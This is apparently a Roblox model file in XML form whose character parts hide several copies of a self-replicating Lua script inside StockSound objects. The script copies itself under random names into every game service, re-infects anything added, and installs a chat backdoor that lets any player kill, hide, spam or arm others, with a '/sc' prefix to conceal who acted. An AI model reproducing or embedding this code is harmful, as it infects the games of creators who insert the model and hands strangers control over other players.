if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Model" referent="RBX705">
					<Properties>
						<token name="Controller">7</token>
						<bool name="ControllerFlagShown">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Figure</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX706">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-183.98761</X>
								<Y>3.3133359</Y>
								<Z>-1.69881439</Z>
								<R00>-0.308796614</R00>
								<R01>-0.000818364497</R01>
								<R02>-0.951127768</R02>
								<R10>2.59560218e-009</R10>
								<R11>0.999999642</R11>
								<R12>-0.000860415457</R12>
								<R20>0.951128125</R20>
								<R21>-0.000265695795</R21>
								<R22>-0.308796495</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">0</float>
							<float name="LeftParamB">0</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">true</bool>
							<token name="Material">256</token>
							<string name="Name">Torso</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">0</float>
							<float name="RightParamB">0</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="Decal" referent="RBX707">
							<Properties>
								<token name="Face">5</token>
								<string name="Name">roblox</string>
								<float name="Shiny">20</float>
								<float name="Specular">0</float>
								<Content name="Texture"><hash>a7b5654da45eafbc96499a90f764de83</hash></Content>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX708">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">nkg9</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX709">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">zbx303ez</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="StockSound" referent="RBX710">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">vbggmqg6w</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX711">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">6s09854</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
